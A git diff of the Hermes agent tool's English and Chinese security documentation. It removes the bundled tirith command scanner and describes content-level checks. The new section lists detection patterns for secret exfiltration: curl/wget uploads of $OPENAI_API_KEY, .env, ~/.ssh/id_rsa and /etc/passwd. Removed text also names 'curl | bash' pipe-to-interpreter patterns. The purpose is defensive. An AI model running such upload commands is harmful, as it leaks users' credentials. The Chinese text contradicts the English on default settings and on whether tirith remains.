a/website/docs/user-guide/configuration.md b/website/docs/user-guide/configuration.mdindex 37e407c5be6..65d6c3e0b12 100644--- a/website/docs/user-guide/configuration.md+++ b/website/docs/user-guide/configuration.md@@ -2829,15 +2829,11 @@ discord:## Security-Pre-execution security scanning and secret redaction:+Secret redaction and the website blocklist:```yamlsecurity:redact_secrets: true # Redact API key patterns in tool output and logs (on by default)- tirith_enabled: true # Enable Tirith security scanning for terminal commands- tirith_path: "tirith" # Path to tirith binary (default: "tirith" in $PATH)- tirith_timeout: 5 # Seconds to wait for tirith scan before timing out- tirith_fail_open: true # Allow command execution if tirith is unavailablewebsite_blocklist: # See Website Blocklist section belowenabled: falsedomains: []@@ -2845,10 +2841,8 @@ security:```- `redact_secrets` — when `true`, automatically detects and redacts patterns that look like API keys, tokens, and passwords in tool output before it enters the conversation context and logs. **On by default**. Set to `false` explicitly only when you need raw credential-like strings for debugging or redactor development. Reading a secret-bearing file (`.env`-style files, shell rc/profile files, the Hermes `config.yaml` under `HERMES_HOME` and its `backups/config/` copies) with `read_file`, `search_files` or a terminal `cat`/`grep` also masks credential-shaped assignments (`SOME_API_TOKEN: …`) with a non-reusable `«redacted-secret»` marker, whatever the value looks like; ordinary source and project config files keep only the vendor-prefix patterns so fixtures such as `MAX_TOKENS: 100` are never mangled.-- `tirith_enabled` — when `true`, terminal commands are scanned by [Tirith](https://github.com/sheeki03/tirith) before execution to detect potentially dangerous operations.-- `tirith_path` — path to the tirith binary. Set this if tirith is installed in a non-standard location.-- `tirith_timeout` — maximum seconds to wait for a tirith scan. Commands proceed if the scan times out.-- `tirith_fail_open` — when `true` (default), commands are allowed to execute if tirith is unavailable or fails. Set to `false` to block commands when tirith cannot verify them.++Earlier releases also had `tirith_*` keys for a bundled command scanner; it was removed and upgrading drops those keys. Content-level command checks are described in [Content-Level Command Checks](security.md#content-level-command-checks).## Website Blocklistdiff --git a/website/docs/user-guide/security.md b/website/docs/user-guide/security.mdindex f15a4cc4f30..bd090ab7954 100644--- a/website/docs/user-guide/security.md+++ b/website/docs/user-guide/security.md@@ -286,8 +286,7 @@ dangerous-pattern rule key such as `script execution via heredoc` (the key shownin the approval prompt). Rule keys are honored on every surface, includingunattended ones: a cron job, `hermes chat -q` run or webhook session under`cron_mode`/`single_query_mode`/`unattended_mode: deny` still runs a command whose-detected rule key is in `command_allowlist`, while Tirith content-security-findings on the same command continue to block it.+detected rule key is in `command_allowlist`.The setting must be a list of strings. Legacy installs that stored a list as aquoted YAML/JSON string recover that list at load time and log a warning to@@ -802,46 +801,24 @@ or `::/0`) is ignored with a warning rather than widening the guard. On a host wbrowser provider, the declared sentinel also stops counting as private for`browser.auto_local_for_private_urls`, so those pages keep going to the cloud browser.-### Tirith Pre-Exec Security Scanning+### Content-Level Command Checks-Hermes integrates [tirith](https://github.com/sheeki03/tirith) for content-level command scanning before execution. Tirith detects threats that pattern matching alone misses:+The dangerous-command detector also flags two content-level shapes that a+destructive-verb list misses:-- Homograph URL spoofing (internationalized domain attacks)-- Pipe-to-interpreter patterns (`curl | bash`, `wget | sh`)-- Terminal injection attacks+- A `curl`/`wget` request body that carries a secret: a secret-named variable+ (`-d "k=$OPENAI_API_KEY"`) or a credential file (`-F [email protected]`,+ `-T ~/.ssh/id_rsa`, `--post-file=/etc/passwd`), or a credential file piped into+ an uploading `curl`/`wget`. An `Authorization` header is ordinary API use and+ is not flagged.+- Invisible or bidirectional Unicode control characters (zero-width spaces,+ right-to-left overrides, isolates), which make the command you approve differ+ from the one that runs. Emoji joiner sequences are not flagged.-Tirith requests a pinned [PM package](../reference/package-management.md#optional-security-tools)-when enabled and absent. PM checks artifact hashes from `pm/lock.json` and-calls the cosign checker when available. An explicit provenance rejection aborts-installation. Startup requests installation in the background, subject to the-lazy-install policy. PM owns durable installation state and recovery, not a-separate `.tirith-install-failed` marker.+Both go through the normal approval flow like every other dangerous pattern.-An explicit `security.tirith_path` remains authoritative, even if the executable-is missing. With the default name, lookup uses `PATH` before the PM selection.-External binaries remain outside PM's hash and provenance checks.--```yaml-# In ~/.hermes/config.yaml-security:- tirith_enabled: true # Enable/disable tirith scanning (default: true)- tirith_path: "tirith" # Path to tirith binary (default: PATH lookup)- tirith_timeout: 5 # Subprocess timeout in seconds- tirith_fail_open: true # Allow execution when tirith is unavailable (default: true)-```--When `tirith_fail_open` is `true` (default), commands proceed if tirith is not installed or times out. Set to `false` in high-security environments to block commands when tirith is unavailable.--Three consecutive operational failures (spawn error, timeout, crash) suspend scanning for five minutes so a broken binary cannot stall every command; after that window one command re-probes tirith, and any completed scan (allow, warn or block) resumes normal scanning. A probe that fails again re-arms the five-minute window.--PM supports Tirith on Linux (x86_64 / aarch64) and macOS (x86_64 / arm64).-With the default path, unsupported targets, including native Windows and-Android/Termux, skip Tirith. Pattern-matching guards still run. To use the managed-Tirith package on Windows, run Hermes under WSL.--Tirith's verdict integrates with the approval flow: safe commands pass through, while both suspicious and blocked commands trigger user approval with the full tirith findings (severity, title, description, safer alternatives). Users can approve or deny — the default choice is deny to keep unattended scenarios secure.--Two known Tirith false positives are downgraded to "allow" so they never prompt (or, in cron, never deny): a `lookalike_tld` warning whose only target is the legitimate `.app` gTLD, and a `variation_selector` warning when every selector in the command is U+FE0F directly after an emoji (folder names such as `🗞️ Journal/` or `▶️ Media/`). A variation selector after a letter or digit — the steganographic-obfuscation signal the rule exists for — still prompts.+Earlier releases bundled the external tirith scanner here. It was removed;+upgrading drops the `security.tirith_*` settings and enables nothing in its place.### Context File Injection Protectiondiff --git a/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/configuration.md b/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/configuration.mdindex 8e7242c5a20..f172e5e065e 100644--- a/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/configuration.md+++ b/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/configuration.md@@ -1600,15 +1600,11 @@ discord:## 安全-预执行安全扫描和机密脱敏:+机密脱敏和网站黑名单:```yamlsecurity:redact_secrets: false # 在工具输出和日志中脱敏 API 密钥模式(默认关闭)- tirith_enabled: true # 为终端命令启用 Tirith 安全扫描- tirith_path: "tirith" # tirith 二进制文件路径(默认:$PATH 中的 "tirith")- tirith_timeout: 5 # 等待 tirith 扫描的秒数- tirith_fail_open: true # 如果 tirith 不可用,允许命令执行website_blocklist: # 参见下方网站黑名单部分enabled: falsedomains: []@@ -1616,10 +1612,8 @@ security:```- `redact_secrets` —— 为 `true` 时,自动检测并脱敏工具输出中看起来像 API 密钥、token 和密码的模式,然后再进入对话上下文和日志。**默认关闭** —— 如果您经常在工具输出中处理真实凭据并希望有安全网,请启用。显式设置为 `true` 以开启。-- `tirith_enabled` —— 为 `true` 时,终端命令在执行前由 [Tirith](https://github.com/sheeki03/tirith) 扫描以检测潜在危险操作。-- `tirith_path` —— tirith 二进制文件的路径。如果 tirith 安装在非标准位置,请设置此项。-- `tirith_timeout` —— 等待 tirith 扫描的最大秒数。如果扫描超时,命令继续执行。-- `tirith_fail_open` —— 为 `true`(默认)时,如果 tirith 不可用或失败,允许命令执行。设置为 `false` 以在 tirith 无法验证时阻止命令。++使用 tirith 扫描命令现在是可选插件,参见[内容级命令检查](security.md#内容级命令检查)。## 网站黑名单diff --git a/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/security.md b/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/security.mdindex bca848e50c7..0d1948ade92 100644--- a/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/security.md+++ b/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/security.md@@ -541,30 +541,16 @@ security:地址段(连接仍然发往代理,由代理自行解析真实目标),回环、RFC 1918、链路本地、CGNAT 和云元数据目标依然被拦截。-### Tirith 预执行安全扫描+### 内容级命令检查-Hermes 集成了 [tirith](https://github.com/sheeki03/tirith) 用于在执行前进行内容级命令扫描。Tirith 能检测单纯模式匹配所遗漏的威胁:+危险命令检测器还会标记两类仅靠破坏性动词列表无法发现的内容:-- 同形字 URL 欺骗(国际化域名攻击)-- 管道传解释器模式(`curl | bash`、`wget | sh`)-- 终端注入攻击+- `curl`/`wget` 请求体中携带机密:机密命名的变量(`-d "k=$OPENAI_API_KEY"`)或凭据文件(`-F [email protected]`、`-T ~/.ssh/id_rsa`、`--post-file=/etc/passwd`),或把凭据文件通过管道传给上传中的 `curl`/`wget`。`Authorization` 请求头属于正常 API 用法,不会被标记。+- 不可见或双向 Unicode 控制字符(零宽空格、从右到左覆盖、隔离符),它们会让你批准的命令与实际执行的命令不同。表情符号连接序列不会被标记。-Tirith 在首次使用时从 GitHub Releases 自动安装,并进行 SHA-256 校验和验证(若 cosign 可用,还会进行 cosign 来源验证)。+两者都和其他危险模式一样进入正常审批流程。-```yaml-# 在 ~/.hermes/config.yaml 中-security:- tirith_enabled: true # 启用/禁用 tirith 扫描(默认:true)- tirith_path: "tirith" # tirith 二进制路径(默认:PATH 查找)- tirith_timeout: 5 # 子进程超时(秒)- tirith_fail_open: true # tirith 不可用时允许执行(默认:true)-```--当 `tirith_fail_open` 为 `true`(默认)时,若 tirith 未安装或超时,命令照常执行。在高安全性环境中,将其设置为 `false` 可在 tirith 不可用时阻止命令执行。--Tirith 为 Linux(x86_64 / aarch64)和 macOS(x86_64 / arm64)提供预构建二进制文件。在没有预构建二进制文件的平台(Windows 等)上,tirith 会被静默跳过——模式匹配防护仍然运行,CLI 不会显示"不可用"横幅。若要在 Windows 上使用 tirith,请在 WSL 下运行 Hermes。--Tirith 的判定与审批流程集成:安全命令直接通过,可疑和被阻止的命令会触发用户审批,并附上完整的 tirith 发现(严重性、标题、描述、更安全的替代方案)。用户可以批准或拒绝——默认选择为拒绝,以确保无人值守场景的安全。+早期版本在这里内置了外部 tirith 扫描器,现已移除;升级会删除 `security.tirith_*` 设置,且不会启用任何替代项。### 上下文文件注入防护